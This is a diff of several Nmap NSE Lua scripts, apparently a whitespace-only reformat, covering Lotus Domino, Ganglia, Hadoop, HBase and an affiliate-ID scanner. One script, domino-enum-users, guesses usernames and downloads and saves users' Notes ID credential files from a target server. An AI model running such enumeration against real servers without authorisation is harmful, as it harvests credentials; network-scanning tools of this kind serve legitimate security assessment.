socket:send( ("#UI %s,%s\n"):format(user,pass) )
socket:receive_lines(1)
socket:send("#EXIT\n")
for i=1, #cmds do
socket:send(cmds[i] .. "\n")
status, result_part = readAPIBlock( socket )
if( status ) then
result_part.name = cmds[i]
table.insert( result, result_part )
else
return " \n ERROR: " .. result_part
end
end
for i=1, #cmds do
socket:send(cmds[i] .. "\n")
status, result_part = readAPIBlock( socket )
if( status ) then
result_part.name = cmds[i]
table.insert( result, result_part )
else
return " \n ERROR: " .. result_part
end
end
socket:close()
socket:close()
return stdnse.format_output( true, result )
return stdnse.format_output( true, result )
end

View File

@@ -54,81 +54,81 @@ portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
return true
end
action = function(host, port)
local helper = nrpc.Helper:new( host, port )
local status, data, usernames, err
local path = stdnse.get_script_args('domino-enum-users.path')
local result = {}
local save_file = false
local counter = 0
local domino_username = stdnse.get_script_args("domino-enum-users.username")
if ( domino_username ) then
usernames = ( function()
local b = true
return function()
if ( b ) then
b=false;
return domino_username
end
end
end )()
else
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return false, "Failed to load usernames"
end
end
local helper = nrpc.Helper:new( host, port )
local status, data, usernames, err
local path = stdnse.get_script_args('domino-enum-users.path')
local result = {}
local save_file = false
local counter = 0
local domino_username = stdnse.get_script_args("domino-enum-users.username")
if ( domino_username ) then
usernames = ( function()
local b = true
return function()
if ( b ) then
b=false;
return domino_username
end
end
end )()
else
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return false, "Failed to load usernames"
end
end
for username in usernames do
status = helper:connect()
if ( not(status) ) then
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
break
end
for username in usernames do
status = helper:connect()
if ( not(status) ) then
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
break
end
status, data = helper:isValidUser( username )
helper:disconnect()
status, data = helper:isValidUser( username )
helper:disconnect()
if ( status and data and path ) then
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
local status, err = saveIDFile( filename, data )
if ( status and data and path ) then
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
local status, err = saveIDFile( filename, data )
if ( status ) then
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
else
stdnse.print_debug( err )
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
end
elseif( status and data ) then
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
elseif ( status ) then
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
end
if ( status ) then
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
else
stdnse.print_debug( err )
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
end
elseif( status and data ) then
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
elseif ( status ) then
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
end
counter = counter + 1
end
counter = counter + 1
end
if ( #result == 0 ) then
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
end
if ( #result == 0 ) then
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
end
result = stdnse.format_output( true, result )
if ( err ) then
result = result .. (" \n %s"):format(err)
end
result = stdnse.format_output( true, result )
if ( err ) then
result = result .. (" \n %s"):format(err)
end
return result
return result
end

View File

@@ -25,13 +25,13 @@ For more information about Ganglia, see:
-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
--
-- @args ganglia-info.timeout
-- Set the timeout in seconds. The default value is 60.
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
-- About 5KB-10KB of data is returned for each host in the cluster.
-- Set the timeout in seconds. The default value is 60.
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
-- About 5KB-10KB of data is returned for each host in the cluster.
-- @args ganglia-info.bytes
-- Set the number of bytes to retrieve. The default value is 1000000.
-- This should be enough for a grid of more than 100 hosts.
-- About 5KB-10KB of data is returned for each host in the cluster.
-- Set the number of bytes to retrieve. The default value is 1000000.
-- This should be enough for a grid of more than 100 hosts.
-- About 5KB-10KB of data is returned for each host in the cluster.
--
-- @output
-- PORT STATE SERVICE VERSION
@@ -89,63 +89,63 @@ portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"})
action = function( host, port )
local result = {}
local result = {}
-- Set timeout
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
if not timeout then
timeout = 30
else
tonumber(timeout)
end
-- Set timeout
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
if not timeout then
timeout = 30
else
tonumber(timeout)
end
-- Set bytes
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
if not bytes then
bytes = 1000000
else
tonumber(bytes)
end
-- Set bytes
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
if not bytes then
bytes = 1000000
else
tonumber(bytes)
end
-- Retrieve grid data in XML format over TCP
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
if not status then
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
return
end
-- Retrieve grid data in XML format over TCP
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
if not status then
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
return
end
-- Parse daemon info
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
table.insert(result, "Service: Ganglia Monitoring Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
if version then table.insert(result, string.format("Version: %s\n", version)) end
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
table.insert(result, "Service: Ganglia Meta Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
if version then table.insert(result, string.format("Version: %s\n", version)) end
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
else
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
end
-- Parse daemon info
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
table.insert(result, "Service: Ganglia Monitoring Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
if version then table.insert(result, string.format("Version: %s\n", version)) end
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
table.insert(result, "Service: Ganglia Meta Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
if version then table.insert(result, string.format("Version: %s\n", version)) end
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
else
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
end
-- Extract cluster details and system details for each cluster in the grid
for line in string.gmatch(data, "[^\n]+") do
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
end
end
-- Extract cluster details and system details for each cluster in the grid
for line in string.gmatch(data, "[^\n]+") do
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
end
end
-- Return results
return stdnse.format_output(true, result)
-- Return results
return stdnse.format_output(true, result)
end

View File

@@ -53,105 +53,105 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end
get_datanodes = function( host, port, Status )
local result = {}
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
table.insert(result, ("Datanode: %s"):format(datanode))
if target.ALLOW_NEW_TARGETS then
if datanode:match("([%w%.]+)") then
local newtarget = datanode:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
return result
local result = {}
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
table.insert(result, ("Datanode: %s"):format(datanode))
if target.ALLOW_NEW_TARGETS then
if datanode:match("([%w%.]+)") then
local newtarget = datanode:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
return result
end
action = function( host, port )
local result = {}
local uri = "/dfshealth.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Started:%s*<td>([^][<]+)") then
local start = body:match("Started:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
table.insert(result, ("Started: %s"):format(start))
end
if body:match("Version:%s*<td>([^][<]+)") then
local version = body:match("Version:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Version: %s"):format(version))
port.version.version = version
end
if body:match("Compiled:%s*<td>([^][<]+)") then
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled))
end
if body:match("Upgrades:%s*<td>([^][<]+)") then
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
table.insert(result, ("Upgrades: %s"):format(upgrades))
end
if body:match("([^][\"]+)\">Browse") then
local filesystem = body:match("([^][\"]+)\">Browse")
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
table.insert(result, ("Filesystem: %s"):format(filesystem))
end
if body:match("([^][\"]+)\">Namenode") then
local logs = body:match("([^][\"]+)\">Namenode")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs))
end
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
table.insert(capacity,i)
end
if #capacity >= 6 then
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
table.insert(result,"Storage:")
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
end
local datanodes_live = get_datanodes(host,port, "LIVE")
if next(datanodes_live) then
table.insert(result, "Datanodes (Live): ")
table.insert(result, datanodes_live)
end
local datanodes_dead = get_datanodes(host,port, "DEAD")
if next(datanodes_dead) then
table.insert(result, "Datanodes (Dead): ")
table.insert(result, datanodes_dead)
end
if #result > 0 then
port.version.name = "hadoop-namenode"
port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
local result = {}
local uri = "/dfshealth.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Started:%s*<td>([^][<]+)") then
local start = body:match("Started:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
table.insert(result, ("Started: %s"):format(start))
end
if body:match("Version:%s*<td>([^][<]+)") then
local version = body:match("Version:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Version: %s"):format(version))
port.version.version = version
end
if body:match("Compiled:%s*<td>([^][<]+)") then
local compiled = body:match("Compiled:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled))
end
if body:match("Upgrades:%s*<td>([^][<]+)") then
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
table.insert(result, ("Upgrades: %s"):format(upgrades))
end
if body:match("([^][\"]+)\">Browse") then
local filesystem = body:match("([^][\"]+)\">Browse")
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
table.insert(result, ("Filesystem: %s"):format(filesystem))
end
if body:match("([^][\"]+)\">Namenode") then
local logs = body:match("([^][\"]+)\">Namenode")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs))
end
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
table.insert(capacity,i)
end
if #capacity >= 6 then
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
table.insert(result,"Storage:")
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
end
local datanodes_live = get_datanodes(host,port, "LIVE")
if next(datanodes_live) then
table.insert(result, "Datanodes (Live): ")
table.insert(result, datanodes_live)
end
local datanodes_dead = get_datanodes(host,port, "DEAD")
if next(datanodes_dead) then
table.insert(result, "Datanodes (Dead): ")
table.insert(result, datanodes_dead)
end
if #result > 0 then
port.version.name = "hadoop-namenode"
port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
end

View File

@@ -50,90 +50,90 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({60010}, "hbase-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end
action = function( host, port )
local result = {}
local region_servers = {}
local uri = "/master.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("HBase%s+Version</td><td>([^][<]+)") then
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hbase Version: %s"):format(version))
port.version.version = version
end
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
end
if body:match("Directory</td><td>([^][<]+)") then
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
end
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hadoop Version: %s"):format(version))
end
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
end
if body:match("average</td><td>([^][<]+)") then
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
table.insert(result, ("Average Load: %s"):format(average))
end
if body:match("Quorum</td><td>([^][<]+)") then
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
if target.ALLOW_NEW_TARGETS then
if quorum:match("([%w%.]+)") then
local newtarget = quorum:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("maxHeap") then
local region_server= line:match("\">([^][<]+)</a>")
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
table.insert(region_servers, region_server)
if target.ALLOW_NEW_TARGETS then
if region_server:match("([%w%.]+)") then
local newtarget = region_server:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
if next(region_servers) then
table.insert(result,"Region Servers:")
table.insert(result,region_servers)
end
if #result > 0 then
port.version.name = "hbase-master"
port.version.product = "Apache Hadoop Hbase"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
local result = {}
local region_servers = {}
local uri = "/master.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("HBase%s+Version</td><td>([^][<]+)") then
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hbase Version: %s"):format(version))
port.version.version = version
end
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hbase Compiled: %s"):format(compiled))
end
if body:match("Directory</td><td>([^][<]+)") then
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("HBase Root Directory: %s"):format(compiled))
end
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hadoop Version: %s"):format(version))
end
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
end
if body:match("average</td><td>([^][<]+)") then
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
table.insert(result, ("Average Load: %s"):format(average))
end
if body:match("Quorum</td><td>([^][<]+)") then
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
if target.ALLOW_NEW_TARGETS then
if quorum:match("([%w%.]+)") then
local newtarget = quorum:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("maxHeap") then
local region_server= line:match("\">([^][<]+)</a>")
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
table.insert(region_servers, region_server)
if target.ALLOW_NEW_TARGETS then
if region_server:match("([%w%.]+)") then
local newtarget = region_server:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
if next(region_servers) then
table.insert(result,"Region Servers:")
table.insert(result,region_servers)
end
if #result > 0 then
port.version.name = "hbase-master"
port.version.product = "Apache Hadoop Hbase"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
end

View File

@@ -51,9 +51,9 @@ categories = {"safe", "discovery"}
-- these are the regular expressions for affiliate IDs
local AFFILIATE_PATTERNS = {
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
}
portrule = shortport.http
@@ -65,76 +65,76 @@ postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end
--@param port nmap port table
--@param affid affiliate id table
local add_key_to_registry = function(host, port, path, affid)
local site = host.targetname or host.ip
site = site .. ":" .. port.number .. path
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
local site = host.targetname or host.ip
site = site .. ":" .. port.number .. path
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
table.insert(nmap.registry["http-affiliate-id"][site], affid)
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
table.insert(nmap.registry["http-affiliate-id"][site], affid)
end
portaction = function(host, port)
local result = {}
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
local body = http.get(host, port, url_path).body
local result = {}
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
local body = http.get(host, port, url_path).body
if ( not(body) ) then
return
end
if ( not(body) ) then
return
end
-- Here goes affiliate matching
for name, re in pairs(AFFILIATE_PATTERNS) do
local regex = pcre.new(re, 0, "C")
local limit, limit2, matches = regex:match(body)
if limit ~= nil then
local affiliateid = matches["id"]
result[#result + 1] = name .. ": " .. affiliateid
add_key_to_registry(host, port, url_path, result[#result])
end
end
-- Here goes affiliate matching
for name, re in pairs(AFFILIATE_PATTERNS) do
local regex = pcre.new(re, 0, "C")
